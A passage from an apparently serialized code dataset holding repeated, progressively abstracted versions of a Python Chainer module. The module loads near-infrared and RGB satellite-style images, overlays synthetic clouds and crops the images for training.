np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n <function token>\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n <function token>\n <function token>\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n <function token>\n <function token>\n <function token>\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n <function token>\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n <function token>\n <function token>\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n <function token>\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, 